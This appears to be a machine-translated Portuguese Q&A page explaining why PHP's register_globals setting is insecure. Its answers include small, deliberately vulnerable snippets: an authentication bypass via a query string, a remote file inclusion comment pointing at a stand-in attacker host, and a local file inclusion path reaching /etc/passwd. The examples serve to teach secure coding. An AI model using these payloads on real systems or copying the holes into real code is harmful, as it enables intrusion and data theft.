Porque é que register_globals tão ruim?
-
07-07-2019 - |
Pergunta
Eu não sou um desenvolvedor PHP, mas eu já vi em um par de lugares que as pessoas parecem tratá-lo como a peste ou algo assim. Por quê?
Solução
meios REGISTER_GLOBALS
que todas as variáveis ??passaram por GET ou POST são avilable como variáveis ??globais em seu script. Desde acesso a variáveis ??não declaradas não é um erro em PHP (é um aviso), que pode levar a situações muito desagradáveis. Considere esta, por exemplo:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Não é uma coisa ruim per se (bem projetado código não deve gerar avisos, portanto, não deve acessar todas as variáveis ??que pode ser não declarado (e não deve necessidade REGISTER_GLOBALS
pela mesma razão)), mas o código PHP é geralmente [muito] baixa qualidade, o que leva a este tipo de falhas de segurança.
Outras dicas
A ativação register_globals expõe webpages servido por PHP para vulnerabilidades que alguns bandidos vão estar dispostos a explorar.
Com ele ativado, qualquer string de consulta no final do URL:
http://yourdomain/something.php?valid=true
afetará o valor de uma variável $ válido (por exemplo) em something.php, se existir .
Se você estiver usando código PHP publicamente disponíveis (uma biblioteca, por exemplo) os nomes das variáveis ??são bem conhecidos, e seria possível para hackers para controlar seus valores, atribuindo valores na cadeia de consulta. Eles podem ser capazes de ignorar a autenticação.
Mesmo se você não está usando o código público, pode ser possível adivinhar os nomes de variáveis ??importantes, e controlar os seus valores.
Ela costumava ser o padrão para ter register_globals habilitado PHP.INI
prática recente tem sido a de desativá-lo por padrão. Habilitá-lo em seu próprio risco!
Só para acrescentar, aqui estão algumas situações onde ter REGISTER_GLOBALS
habilitados poderia arruinar seu dia:
Usando a seqüência de consulta para controle de acesso de bypass (cortar usando http://example.com/ ? logged = 1 ):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Remoto Inclusão de arquivos (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Inclusão de arquivo Local (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Porque ele permite que o usuário para injetar qualquer variável global em seu código sem qualquer controle.
Com base na qualidade do código, pode introduzir grandes falhas de segurança.